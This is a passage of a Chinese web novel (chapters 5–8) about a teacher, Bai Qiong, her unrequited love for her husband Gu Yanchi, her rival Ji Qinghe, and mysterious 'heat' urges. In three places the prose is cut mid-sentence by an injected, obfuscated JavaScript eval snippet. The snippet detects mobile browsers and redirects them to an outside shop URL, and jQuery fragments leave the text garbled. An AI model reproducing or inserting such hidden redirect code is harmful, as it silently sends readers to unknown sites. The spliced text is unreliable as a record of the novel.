齐缜以为自己这番站不住脚的说辞白琼不会相信,他也已经做好了会被扣上一个变态的帽子的准备,不曾想女人却追问了。 不仅问了,她的神情看着似乎是真的很好奇。 齐缜努力回想了下,回答道:“我也不清楚,那香气很淡,但闻上去很甜,有点像草莓蛋糕,让人很想……” 白琼注意到他咬肌微动,做了一个磨牙的动作。 一旁的江峤的表情已经不能用恶心来形容了,他是真的要吐了。 齐缜也说不下去了,自暴自弃道:“啧,算了,就当我在胡言乱语吧。” “不,老师相信你。” 白琼神情复杂地看着齐缜,像是看到了当年的自己。 5. 第五章 白琼觉得这种突然闻到对方的体香然后开窍,迅速坠入爱河的离谱事情只会发生在自己身上,不曾想有朝一日还能遇到同类,还是自己的学生。 她感到五味杂陈。 不过眼前的少年和自己这个苦恋多年无果的可怜人比起来,他要幸运太多。 毕竟他喜欢的那个人恰好也喜欢他。 如果作为外人,白琼可以事不关己嗑嗑CP,偏偏她是他们的老师。 白琼深深看了陷入爱河而不自知的少年,叹了口气道:“你们先去医务室处理下伤口吧,之后你找个时间给叶纾羽当面好好道个歉,她是个心地善良的姑娘,你好好解释她肯定会原谅你的。” “靠,什么意思?不是,你别告诉我这件事就这么算了?” “那你告诉我你想怎么处理?要我告他猥亵吗?凑近一点就得蹲局子,那你跟女生又亲又抱的是不是应该无期徒刑?” 江峤梗住了,心想这两者哪能一样,这是偷换概念,他和自己女朋友亲近这不理所当然吗。 可他敢怒不敢言,他听出了对方言语里的警告。 白琼之前就找他谈过话,在得知他已经分手后这才选择睁一只眼闭一只眼的,现在要是跟她对着干的话这事就得捅到他爸妈那儿去了。 等到这两人离开后,白琼回了办公室。 对面的李柳朝着她疯狂眨眼,好奇极了。 江峤这小子混是混了点儿,但还算细心,知道这种事情对叶纾羽影响不好特意避开了办公室的老师,白琼也不好说出来,只含糊道:“没什么,还是那些鸡毛蒜皮的小事。他们两个本来就不对付,没事都能找事打一架。” 李柳半信半疑,但也没过多追问,提醒道:“那你这次可不能像以前那样轻拿轻放,你现在可是班主任了,得拿出点你身为班主任的威严来,不能让他们觉得你是软柿子好拿捏,不然过两天又得给你搞点事出来。” “嗯,我也是这么想的。” 这两个并不怕她,尤其是江峤,他一开始并不知道她是顾厌迟的妻子,在高二的时候翘了她的课,白琼第一次扣了他的学分让他写一份三千字的检讨,他不在意学分,检讨更是直接交了一张白纸,白琼气得请了家长,之后少年便老实了。 老实了但也没完全老实,其他课照逃不误。 白琼的身份也是在见到江峤的父母后暴露的,因为他们出席过她和顾厌迟的婚礼。 至于齐缜,他似乎一开始就知道她是顾厌迟的妻子。 好在这两个都不是大嘴巴,没有把她的身份大肆宣扬,不然她还真不知道该怎么在学校待下去。 要怎么处罚江峤她暂时还没想好,不过齐缜这边却拖不得。 她既不能去敲打齐缜,又不能去找叶纾羽谈话,前者她怕不小心把人给点醒,后者她怕对方知道齐缜喜欢自己,扭头就跟人在一起了, 思来想去,只能从他们的家长身上下手了。 于是白琼给齐缜母亲打了电话,希望她下午放学之前能来一趟学校,想当面和她好好谈谈,商量下该怎么把对孩子的影响降低到最小解决早恋这件事。 只是到了下午,白琼没等到齐母,等到了另一个意想不到的人。 季青禾。 同样意外的还有季青禾本人,两人四目相对了好一会儿,最终是季青禾先打破了僵局。 “好巧,没想到小缜的班主任是你,我记得之前不是那个王老师吗?” 白琼干巴巴道:“王老师生孩子去了,不出意外在她回来之前三班的班主任都由我担任。” 缓了一会儿,在对方疑惑的目光下她才想起了解释一句:“我是齐缜姑姑,她妈临时有个跨国会议要开来不了,委托我过来的。” “原来如此。” 空气再次陷入了安静。 两人虽然不是第一次见面的陌生人,关系却还不如陌生人。 谁叫她们是情敌呢? 上一次她们见面的时候还是五年前,女人作为高中同学兼顾家的商业伙伴出席了她和顾厌迟的婚礼。 她并没有因为自己喜欢顾厌迟,而故意在她的婚礼上打扮的喧宾夺主,相反的,季青禾很得体,穿了一件素色的没有一点花纹的旗袍。 饶是如此配上那张精致的脸蛋也如清水出芙蓉一样让人移不开眼。 季青禾是美丽的,无论是学生时代还是如今,她都是那种放在人群里也扎眼的好看。 相对的白琼,黯然,无光,是永远也不会被人注意到的路人甲。 在高中的时候,作为校花校草的两人是学校上下公认的般配,顾厌迟喜不喜欢季青禾白琼不知道,可她确定以及肯定后者喜欢他,直到看到他结婚的那天恐怕才完全释然。 季青禾没有跟顾厌迟告白过,或许是少女的矜持,又或者是害怕被拒绝连朋友也没得当的顾虑,白琼之所以知道她对顾厌迟的心思,是因为眼神。 季青禾看向顾厌迟的眼神做不得假,那是喜欢一个人的眼神,那是伪装不了的。 说实话在知道自己的情敌这么强大的时候,白琼是自卑的,更是在自己因为老一辈的交情得到了顾厌迟而感到胜之不武的羞愧。 要是当初季青禾鼓起勇气告白了,结局会不会不一样? 顾厌迟会不会在顾老爷子询问他愿不愿意的时候给出另一个截然不同的回答? 白琼收拾好情绪,对着季青禾道:“你先坐吧,要喝水吗,还是喝茶?” “不用了,你有什么事情直说就好,是不是小缜又跟江家那孩子打架了?” 白琼把一杯水放到她手边,女人画着精致的妆容,头发烫成大波浪,红唇雪肤,几年没见,透着独属于成熟女人的韵味和魅力。 “是也不是,他们今天的确打架了,我也已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159412|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批评教育过了,我想说的是另一件事。关于齐缜的。” 她道:“他可能早恋了。” “哈?” 季青禾难以置信道:“你说谁早恋了?小缜?和谁?” 齐缜性子孤僻,喜静,可由于长相出众,女孩子总喜欢往他身边凑,他最讨厌的就是这些叽叽喳喳的女孩子了,如今白琼说他早恋,季青禾很难不感到惊讶。 白琼看她一副“不可能,会不会是哪里搞错了”的表情,叹了口气,把齐缜情不自禁的事情给女人讲了一遍,季青禾沉默了。 大概是没想到自家侄子竟然有两幅面孔,表面一副生人勿近的高冷模样,实际上这么痴汉变态。 白琼觉得她这副嫌弃的样子不单单是在嫌弃齐缜,也在内涵她,毕竟她对顾厌迟的迷恋行为比起齐缜对叶纾羽,实在有过之无不及。 于是她忍不住为齐缜辩解了几句:“咳咳,那个,我也只是猜测,毕竟他这一行为很难不让人误会,你之后别去兴师问罪,万一人没那个意思呢,我给你说这些只是以防万一,防范未然而已。” “况且就算他真对人小姑娘有意思这也很正常,少年慕艾,谁学生时期没喜欢过人不是?我们应该正确引导他,而不是一味指责,不然容易适得其反。” 季青禾听她说了这么一大堆,像是第一次认识她一样盯着她看了一会儿,随即没忍住噗嗤笑出了声。 “白琼,你现在还挺像那么回事的。刚才有那么一瞬间我还以为是地中海在我面前说话呢。” 地中海不是别人,是她们高中的地理老师,因为秃头,且只秃中间那块,被大家取了个地中海的绰号。 之前就说过了,季青禾很美,但却不是一个爱笑的,至少在白琼的记忆里她很少看她笑过,就算是笑也是轻蔑的冷笑,像这样真正展颜她还是头一次见。 红唇因为这抹笑倏尔绽开,艳丽如花。 季青禾被她看得不自在,以为她是误会自己是在嘲笑,解释道:“你别多想,我没恶意,只是觉得你变化有点大而已。” 白琼也意识到自己的失态,收回目光,心下涌现出一股羞恼。 该死,自己竟然对着情敌给看出神了。 两人原本之间粉饰太平的平静陡然变得尴尬起来,季青禾不是个迟钝的人,白琼也不大擅长隐藏。 以前也好,现在也罢,她都能感觉到对方对自己的戒备。 尽管没有恶意,但多少让季青禾不大舒服。 此刻也是,对面的女人抿着嘴唇,对她的排斥一目了然。 季青禾觉得很可笑:“你别告诉我你还把我当假想敌?” 白琼还没来得及回应,季青禾扯了下嘴角露出了她熟悉的冷笑。 “白琼,你搞错了,虽然我的确喜欢过顾厌迟,但我对你可构不成什么威胁。” “因为你的情敌另有其人。” 6. 第六章 季青禾留下这么句暧昧不清的话便离开了,独留白琼一人在原地恍惚着。 她的情敌另有其人?什么意思?除了季青禾还有谁喜欢顾厌迟吗? 不过喜欢顾厌迟的人那么多,那些人只能算得上爱慕者,谈不上什么情敌。 就像她面对季青禾时候如临大敌一样,能让季青禾特意点出来的人必然是连她都觉得有威胁的人。 但是这可能吗?季青禾那么优秀,能让她有这样劣势的感觉的那到底优秀到什么程度? 况且季青禾是一个很自信,自信到甚至有一点自傲的人,她肯定别人的同时绝不会看低自己,所以白琼不认为她所说的那个人真的比她好。 没她好,她又觉得比不上,那就只有一个可能—— 在感情方面,她认为自己比不上对方。 换个说法也就是说——那个人是顾厌迟喜欢的人。 想到这一层的白琼脸色一下子白了。 不,这不可能,顾厌迟要是真的有喜欢的人了他当初就不可能默许和自己的这桩婚事。 一定是季青禾哪里搞错了,一定是。 虽然白琼在这个猜测刚冒出来的瞬间就将其否定了,可她内心的不安没有随之消散,反而越来越重。 鬼使神差的,她想起了昨天做的那个梦,梦里那个模糊的身影实在很难让人不在意。 白琼觉得自己太草木皆兵了,因为季青禾的出现慌了心神,又因为她随口无根据的一句话方寸大乱。 或许这是季青禾的圈套,为的就是离间她和顾厌迟,好找准时机趁虚而入。 她不是在阴谋论女人,只是无法接受顾厌迟有喜欢的人这一事实才偏激地找了这样一个不像话的理由。 白琼浑浑噩噩地回了家,即使强迫自己不要去想,不要被季青禾给影响,可是她的脑子却不受控制一遍一遍重播着季青禾的话,思考着她的话到底有几分真几分假,和那个可能被顾厌迟喜欢的人到底是谁。 直到她进门看到了在沙发上坐着的,那个久违到有些陌生的男人。 她紊乱的思绪,不安的情绪,在顷刻间烟消云散。 “厌迟!” 白琼的声音带着难以掩饰的惊喜,那双眼睛也亮得出奇。 她赶紧走过去,又在距离顾厌迟一步的位置克制着停下。 只是她动作克制,眼神却炽热直白。 尽管白琼总说自己是突然开窍,然后就无法自拔地喜欢上了顾厌迟,但要说在开窍之前对他没有任何旖旎心思,连她自己都不敢笃定。 因为顾厌迟实在生的太过俊美,无论是脸还是身材,都像是被精雕细琢的艺术品一样完美。 顾厌迟应该回来了有一阵子了,他换下了正装,只穿了一件白衬衫,衬衫的扣子解开了一颗,喉结的弧度擦过衣领,往下是若隐若现的锁骨。 右腿随意放松放在左腿上,导致他的裤脚绷紧了些,本就劲瘦有力的腰身更加挺拔明显。 比起上次见到的时候,顾厌迟又瘦了点,深邃的五官更加分明,脸上没有一丝多余的肉,从精致的眉眼往下,流畅的面部线条锋利得让人不敢直视。 对于自家妻子总是过于赤裸的目光他早就见怪不怪,一般她看一会儿后就会自觉失态地挪开,今天她却格外的没有分寸,这么久过去了不仅没有收敛,那直勾勾的视线让他莫名感觉到了一股侵略性,似被猛兽盯上,稍一不注意就会被咬上要害,拆吃入腹。 “你还要看到多久?” 白琼见他不高兴了,这才微垂了下眸:“你多久回来的,怎么不提前和我说?” 顾厌迟淡淡道:“合同谈妥了就回来了。” 顾厌迟工作上的事情她不是很清楚,他也从来不会主动告诉她,她只依稀从顾爷爷那里得知顾厌迟最近在跟国外一个医药公司合作搞什么药物的研发,研发团队集合了国内外的医学专家。 顾厌迟打算把研发部设立在鹿港的鲸鱼湾,也就是他总公司附近,这段时间他一边谈合同一边在找合适的地皮,这样高强度的工作量能在一个月之内搞定已经很不容易了。 这么想着,那点儿长时间独守空房的委屈,又变成了浓浓的心疼。 “谈妥了就好。对了,你吃饭了没有,我去给你做点吃的?还是说你想要先泡澡放松下?” 本来是关心的话,可女人脸上的殷勤和讨好让顾厌迟更疲惫了。 他无奈地揉了揉鼻梁,说道:“不用了,你也刚下班,先休息下吧,别总是围着我转。” 顾厌迟轻轻拍了下身边位置,白琼眼睛一亮,红着脸,矜持而小心地坐了下去。 她知道顾厌迟不喜欢她靠得太近,所以中间留有半臂的空间,这是一个相对比较亲近的距离,即使无法触碰,男人身上的热气和古龙水的冷冽香气依旧存在感十足。 和昨晚只能从被子上汲取那点儿残留的气息的温存而寻求慰藉不同,眼前的人是真实的,温暖的,近在咫尺的。 只要她想,触手可及。 顾厌迟就是有这样的魔力,他不在的时候占据她全部的心神,在的时候她的视线就很难从他身上移开。 古龙水下面似乎又闻到了那种让人目眩神迷的香气,很淡,淡到她得靠近,再靠近才能确认。 “白琼?白琼?” 在快要凑到他脖颈之前,白琼恍若梦醒:“什么?” 顾厌迟对上女人略带迷离的眼眸,微皱了皱眉:“我问你要吃什么?” 白琼看了眼他的手机屏幕,下一秒她的注意力就被他的手给吸引了。 顾厌迟的手指很长,骨架也大,可以轻而易举将她的手包裹,温暖有力,让人安心。 只是这样的机会并不多,除却在长辈面前维持体面的逢场作戏外,他很少主动碰她。 可能是爱情让人盲目,她对顾厌迟的滤镜总是有八百层那么厚。 在白琼眼里,男人从头到脚都完美得无可指摘,世上没有任何异性能与他比拟。 但这一次她在注视着他的时候,少有的在脑海中浮现出了另一个人的身影,哦不,应该说是手。 那个荒诞没有根据的梦里,和顾厌迟站在一起的那个男人也有一双十分漂亮修长的手。 冷白如玉,比天上的月光还要清白皎洁。 也比眼前人的手要更纤细清瘦。 没有美丑之分,各有千秋,只是白琼单纯觉得惊奇,惊奇自己有朝一日竟然会在注视着顾厌迟的时候想到别人。 这种近似精神出轨的背叛行为让白琼感到有些心虚,以至于在顾厌迟再次询问无果看过来的时候她慌乱避开了他的眼睛。 顾厌迟一愣,显然没想到她会回避。 白琼有些懊恼自己的走神,想要说点什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159413|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓解下这过于凝重的气氛,男人先一步开了口。 “明天你应该不忙吧。” “啊,不忙的,明天放假。” 白琼心下一动,带着期待询问:“你为什么这么问……是有什么事吗?” “明天是家宴。” 白琼眼底的光肉眼可见黯然了下来:“这样啊……” 怪不得顾厌迟会提前回来,也是,他总不可能是急着回来看她吧。 她心头泛起苦涩,嘴角还勉强挂着一点儿笑容,不过落在顾厌迟眼里比哭还难看。 他知道她在期许什么。 只是一个约会而已,他腾出一点时间也不是不行——如果没有发生那件事的话。 在新婚没多久他公司出了点状况,那段时间他比现在还要忙,将近两个月时间没有回家,因此他们不仅没有度蜜月,连回门他都没陪白琼。 对此顾厌迟很是愧疚,于是抽出了几天时间特意推掉工作回家陪她—— 那是顾厌迟做过的最错误的决定。 在那几天他陪她逛商场,吃饭,看电影,甚至还去了一趟他自长大后再也没有踏足过的游乐场。 白琼很开心,顾厌迟以为自己把她的失落的情绪安抚好了,在第三天回公司的时候,女人突然崩溃大哭,抱着他死活不让他离开,最后甚至哭到脱水昏了过去。 顾厌迟急忙把她送去了医院,医生告诉他这是戒断反应太过严重导致的。 对于他而言自己只不过是从家庭回归到工作上去,但对白琼而言则是从天堂跌到地狱,她一时之间很难接受这样巨大的落差。 这实在太荒唐了,落在白琼身上又似乎很合理。 对于女人过于炽热的感情,顾厌迟感到无所适从,甚至本能排斥着,在他成长的环境里即使相爱的父母最初也是商业联姻,他们的感情从以前到现在都夹杂着利益的绑定,并不纯粹。 他从小也被教导着“利益至上”,感性永远排在理性后面,所以他权衡利弊,包括和白琼的这段婚姻。 顾厌迟不是为了履行所谓的娃娃亲和她结婚的, 他习惯于掌握主导权,包括在婚姻里。与其找个门当户对的联姻对象,被掣肘着,不如找白琼这样的。 只是顾厌迟没想到的是白琼对自己的感情会这么深,深到脱离他掌控的失控。 顾厌迟很头疼,自那次之后他再不敢轻易答应她任何要求,更不敢花时间陪她了。 他以为自己这样做已经够明显了,不想对方反而越挫越勇,拼尽全力,使出浑身解数也想要攻下他。 顾厌迟不仅没有被打动,甚至不免觉得可笑。 在她一厢情愿想要和他结婚的时候,就应该做好他可能永远都不会回应她的心理准备才对,可她实在太贪心了,明明已经得到了这段婚姻,却既要又要。 白琼并不是一个漂亮的女人,但她有一双会说话的眼睛。 只要他在的地方,那双眼睛只会注视着他,迷恋的,渴求的,满溢的情愫似要把人溺在其中。 顾厌迟看着女人因为委屈泛红的眼尾,眸子里氤氲着的雾气朦胧,这导致她的视野有些模糊。 她有些急切地想要凑近看清他的脸,顾厌迟先一步抬手将她眼角的湿润擦拭。 动作温柔,唇齿间吐露的话语却冰冷凉薄。 “白琼,别得寸进尺。” 7. 第七章 得寸进尺。真是好大的罪名。 如果希望自己的丈夫能够多陪陪自己是一件得寸进尺的事情,那白琼也无法可说。 这已经不知道是自己多少次被对方拒绝了,说实话她都有点麻木了,伤心失落是在所难免的,但她没办法真的对他生出怨怼来。 因为从一开始顾厌迟就告诫过她他只是拿她当妹妹,如果她能接受这样永远也不会得到回应的关系,那他就答应和她结婚,给她一个名分。 白琼答应了,所以她才能得偿所愿成为他的妻子。 除此之外,她一切的奢求都是得寸进尺。 她也想要克制,只是许久不见的思念如潮水一样,在看到他出现在眼前的瞬间决堤蔓延,就像昨日无法抑制住的热潮那么汹涌。 白琼自觉自己不是一个这么不稳重的人,但在面对顾厌迟的时候,所有的矜持都溃不成军。 杨清容曾经酸里酸气对她抱怨,如果要把她所有的情感分成一百份,她对她只有百分之一,剩下的九十九全都给了顾厌迟。 这并不是说她对朋友不够重视不够真诚,而是她对杨清容的那份感情,远没有对顾厌迟的热烈纯粹。 白琼对顾厌迟的爱就像是一团燎原的火,灼热滚烫。被这样一个人毫无保留地爱着,没有谁不会羡慕和向往。 偏偏她爱上谁不好,爱上一个怎么也捂不化的冰山。 冰山不会为白琼的爱动容,他只会不解风情的觉得热,甚至排斥这份别人梦寐以求的感情。 而事实也的确如此,白琼越努力想要打动他,顾厌迟越觉得不耐和困扰。 杨清容估计也是看清了这一点,才劝她放弃的。 放弃?哈,要是真那么容易做到就好了。 白琼不是没生起过放弃的念头,可这个念头刚冒出来,下一秒她不能失去他,她要得到他的欲望又会将前者那点儿退缩的想法给完全倾覆,转化为更为强烈的爱意。 她一直都知道自己心里住着一头没有被唤醒的野兽,以前她还能忍耐,所以睁一只眼闭一只眼,可最近似乎越发困难了。 就在刚才,她就差点失控。 顾厌迟并不是那样不近人情的人,至少对她这个明面上的妻子他多少会容忍几分。 比如她的靠近。 以前她试探着靠近他的时候他虽然有些排斥,却不会这样不留情面地阻止。 白琼注意到了男人冷冽的眉眼。 他生气了,因为发现了她凑近不光是为了看清他,还胆大包天地想要吻他。 白琼许久未见而失控的感情让他感到排斥和反感。 意识到这一点的白琼僵硬着绷直着背脊,不敢再往他身边凑了。 顾厌迟见她总算清醒了过来,第一反应竟然是松了口气。 刚才在女人靠近的时候他感到了一种从未有过的压迫和侵略性。 即使只是一瞬,也足够让他在意。 顾厌迟沉着眉眼,余光不着痕迹地扫了白琼一眼,女人低着头,手紧攥着衣袖,像个做错事的孩子一样努力降低着自己的存在感。 有那么瞬间他有些恍惚,毕竟她这副样子和先前给人的感觉判若两人。 还是说是他的错觉,又或者是因为那个特殊时期又来了? 一想到情况可能是后者,顾厌迟整个人肉眼可见地焦躁了起来。 也是在这个时候,白琼闻到了一缕浅淡的香气从身旁男人身上散发出来。 几乎是在闻到的瞬间,昨天刚平复下来的热潮又有了卷土重来的趋势。 白琼心下慌乱,生怕自己会再度失控做出让顾厌迟厌恶的事情来,猛地站了起来。 “抱歉,我就不吃了,我,我突然有点不舒服想回房间休息下。” 说着也不管顾厌迟什么反应,逃也似的上了楼。 ”砰”的一声,门被用力关上,带起的震动连楼下都能感觉到。 对于女人这样异常的举动顾厌迟忍不住皱了皱眉。 是在闹脾气吗?因为他拒绝和她的亲近? 都说男人的嘴骗人的鬼,这句话用在女人身上也同样适用,明明当初她口口声声说着即使他把她当妹妹,即使一辈子也得不到回应也没关系,可在真正结婚之后她却并不满足于此。 人是很难控制自己的感情的,尤其是坠入爱河的女人,所以他大多时候对于她有些过界的行为他都是持容忍态度的。 直到两个月前,顾厌迟发现她购买了计生用品。 这让他很火大,所以她想要干什么?霸王硬上弓吗? 顾厌迟并不是什么坐怀不乱的圣人,他也有欲望,甚至还算得上重欲。 只是他的情况特殊,自从身体出现了那股奇怪的热潮后,他的欲望越发增长,同时又对异性也越发无动于衷。 对于他来说身边的异性再美再有魅力与他而言也不过是一朵没有香味的花,没有丝毫的性吸引力。 但白琼并不属于这一类。 她不像没有香味的花,更像无色无味的水或是空气,她的存在感更为淡薄,淡薄到顾厌迟有时候还没有来得及反应,她就靠近了。 如果仅仅只是行为的冒犯也就罢了,他不会那么草木皆兵地戒备她。 可他偏偏感到了威胁。 他竟然从一个对他殷勤讨好,卑微渴求着自己的女人身上感受到了威胁,这是他最不能理解,也是最不能接受的。 顾厌迟私下去看过医生,医生告诉他这或许是因为他本身就因为对异性无感而有些排斥异性,对和他朝夕相处的妻子反应则会更加强烈一点。 这是心理问题。 就像现在,白琼已经离开有一会儿了,他的身体依旧处于紧绷的状态。 许久,久到顾厌迟身边女人坐过的地方变得冰冷,他才后知后觉抬起手碰触了下颈侧。 冷白的皮肤不知什么时候烧灼得潮红一片。 …… 幸好白琼离开的及时,在热潮要起来之前先一步给控制住了。 只是这并不意味着她昨晚一夜好眠。 日思夜想的人就在隔壁房间,一墙之隔,看不着摸不着,这实在让白琼辗转反侧。 后半夜好不容易睡着了,又再次做了那个奇怪的梦。 梦里的那个人影比之前更清晰了一点,上次只能勉强看清那双手,这一次她看到了脖子。 男人的脖子和他的手一样修长白皙,微垂着头轻嗅着手中的花,因为这个动作他的脖颈不可避免弯下来些许,宛若映水自照的天鹅。 白琼受够了这种雾里看花的梦境,在梦里努力想要凑近看清他的脸,可她一靠近对方就像受惊的小鹿一样转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159414|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跑。 于是就这样他逃她追了一晚上,她累醒了。 然后,天也亮了。 白琼气笑了,什么破梦,乱七八糟,意味不明,莫名其妙! 本来就没休息好,还做了这么个梦,她早上起来比跑了一万米还要身心疲惫。 只是再不舒服她也得爬起来,毕竟今天可是顾家家宴。 顾家家宴每月举办一次,说是举办其实就是一家人聚在一起简单吃吃饭聊聊天,没什么特别的。 但这只是表面,毕竟是豪门,底下的勾心斗角和暗流涌动并不少。 尤其是针对她的。 白琼和顾厌迟的这段婚姻是顾老爷子在拒绝了好几个和顾厌迟门当户对的联姻对象后,力排众议才达成的。 他们对促成这桩婚事的顾老爷子不敢有什么怨言,对她倒是没什么忌惮。 一想到这次家宴又要听到他们各种夹枪带棍的嘲弄,看到他们那副轻蔑傲慢的嘴脸,白琼就心力交瘁。 她从衣柜里挑了一件保守得体,绣着白色琼花的长袖旗袍,简单画了一个淡妆,挽了个头发,对着镜子整理了下仪容仪表后拎着包下了楼。 顾厌迟早早就在下面等着了。 他今天的打扮和平时没什么两样,依旧的西装革履,干净利落。 不过也不是全然相同,白琼几乎是在看到他的第一眼就眼尖的注意到他那条深红色的领带。 顾厌迟的五官很精致,深邃的轮廓让他在人群里一眼就能被看到,正是因为有这样一张过于权威的脸存在,他身上出现过于艳丽的颜色时,不仅不会喧宾夺主,反而会相得益彰。 这就意味着他会变得更加引人注目。 从小就是人群中的焦点的男人很讨厌被过度的关注,所以他在着装打扮上会尽量怎么低调怎么来。 像这样的领带,以往总不会在他的选择范围内。 白琼盯着那条红色的领带,不可避免想起了那个梦,在梦中顾厌迟在见那个男人的时候也系着同色系的领带。 “早饭我已经让助理送过来了,我不知道你喜欢吃什么所以让他每样都买了一点,时间不早了,你……” 顾厌迟一顿:“你在看什么?” “没什么,就是有些意外,毕竟很少见你系这种颜色的领带。” 白琼的目光从领带挪开,往上,停在了男人那张被红色衬得有些昳丽的眉眼。 “很衬你。” 她嘴上说着夸赞的话,语气却并不算柔和。 “怎么突然想着挑这个颜色?“ 顾厌迟垂眸看了眼那抹亮的有些刺眼的红。 这并不是他喜欢的颜色,比起这种张扬的颜色,他更偏向于黑色,灰色,藏青色这种冷色调,他平时的领带也多是这些颜色。 但最近,尤其是在热潮期的时候,他总是想要把自己打扮得更加艳丽些,就像开屏的孔雀一样,想要吸引些什么。 这样隐秘的有些羞耻的心思他不可能承认。 顾厌迟喉结耸动了下,沉声道:“今天毕竟是家宴,这么重要的场合总不好打扮的死气沉沉。” 这是一个挑不出任何毛病的回答,可落在白琼的这里却字字刺耳,字字扎心。 重要的场合? 所以在梦里,他所见的那个人也是重要的人? 8. 第八章 白琼很想让自己不要把梦和现实联系在一起,梦就是梦,成不了真。 就算成真了又如何,梦里被顾厌迟珍重对待的那个人是个男人,有什么好介意的? 也难怪顾厌迟会受不了她,她的占有欲太强,心眼小到连他身边出现的同性友人都无法容忍,甚至那个友人还只是个虚拟的梦中人。 别说是顾厌迟了,她都有点讨厌这样的自己。 顾家主宅距离他们住的地方有些远,在城郊。 主宅的前身是顾老爷子的年轻时候住的一处大宅院,老爷子念旧,加上又喜静,后头便让人将宅院翻新重建,这才有了如今的模样。 对于顾家主宅白琼一点也不陌生,在没有跟顾厌迟结婚之前她逢年过节就没少跟着自家爷爷来串门,只是当时是作为客人来的,现在身份转变成了顾家儿媳,性质就完全不一样了。 白琼和顾厌迟的婚事反对的人很多,其中最不能接受的就是顾厌迟的母亲苏芸女士。 苏芸女士出身名门,和顾父勉强算得上门当户对,但他们的结合起初并不顺利。 苏家家世好,和顾家比起来却还是差点意思,当年顾老爷子给顾父物色了几家千金,苏芸女士只是其中之一。 她在里面条件并不是最好的,长相也不是最出众的,按理说这个联姻的机会轮到她头上的概率并不大。 可谁叫苏芸女士自己争气呢。 苏芸女士是个十足的外貌协会,她眼高于顶,家里给她安排了不少相亲对象,她相看了一轮又一轮也挑中能没入她眼的,直到见到了顾父。 她知道自己在竞争对手里并不占优势,所以另辟蹊径从顾父身上入手,把他的喜好各种调查得一清二楚,所谓对症下药,顾父又涉世未深,在简单相处下来还真以为自己找到了灵魂伴侣,很快就坠入了名为苏芸女士精心编织的爱情陷阱里。 最让白琼佩服的一点是,女人并没有“过河拆桥”,在把顾父搞到手后也没有原形毕露,十年如一日的扮演着善良温柔的当家主母的人设。 只是这本该无懈可击的伪装却在一次意外被白琼撞破。 白琼想,这大概是苏芸女士讨厌自己的原因。 当然,除却这一点之外苏芸本就对她这个抢走了他宝贝儿子的女人没什么好感,她和其他人一样都觉得她配不上顾厌迟,是白家挟恩图报高攀了顾家。 对此白琼无法反驳,毕竟事实也的确如此。 从这里到主宅坐车大约两个小时,顾厌迟昨天似乎和自己一样没怎么休息好,长睫之下的眼睑有一点不是很明显的青黑。 他从上车开始就在闭目养神,没有给她一个眼神。 白琼一方面因为男人的冷落而感到失落,另一方面又庆幸自己能够趁机光明正大地看他。 女人的视线和她本人给人的感觉截然不同,存在感极强,顾厌迟几乎在她目光落过来的瞬间就觉察到了。 他下意识皱了皱眉,但顾忌着司机在,在外人面前他总归要给她留有应有的体面,于是他没有出声制止她过于露骨的打量,而只是将头往旁边偏了偏。 这样白琼就看不见他的脸了。 可也正是因为这个动作,顾厌迟的脖颈全然暴露在了白琼的视野中。 男人的脖颈白皙修长,青色的血管在薄薄的一层皮肉下如同扎根血肉的藤蔓,好像稍微一用力就会破出般。 白琼指尖动了下。 以前顾厌迟的脖子有这么细吗,细的好像一只手就能掐断。 这是个有些危险的联想,白琼却已经习以为常了,每当她出现热潮的那段时间,在性/欲陡然变得强烈的同时,也会不受控制地生起施暴欲。 而这两种欲望的对象都是眼前的男人。 不过以往出现这样的情况通常是在她做了少儿不宜的梦或者像之前那样嗅闻到顾厌迟的气息的时候,像这样,只是单纯盯着他脖子看就有这样强烈的欲望,甚至比之前更强。 白琼暗暗咬了咬牙,将牙齿无端生起的痒意压下。 这是她头一次觉得和顾厌迟待在一起如此的难熬,两个小时像过了半个世纪那么久。 等到车子终于行驶进了主宅,停下来的瞬间,也不等司机开门,她先一步径直下了车。 一路上车内若有若无的香气让她避无可避,只有此刻她才勉强得以喘息。 顾厌迟一睁眼便看到女人大口大口喘着气的样子,面颊染上一片浅淡的绯红,让她白净到寡淡的面容平添了一分颜色。 他没忍住多看了眼,然后问道:“你怎么了?” 白琼垂眸不敢看他,闷闷道:“没什么,就是有些晕车。” 顾厌迟皱眉:“你什么时候开始晕车了?” “以前不晕,今天司机开得不大稳……” 白琼见他眉间的折痕更深了,生怕他会因为自己的话把司机给换了,于是忙转移话题:“好了,时间不早了我们赶紧进去吧,别让爷爷他们等久了。” 顾厌迟自然觉察到了她的异常,但他没有太过在意。 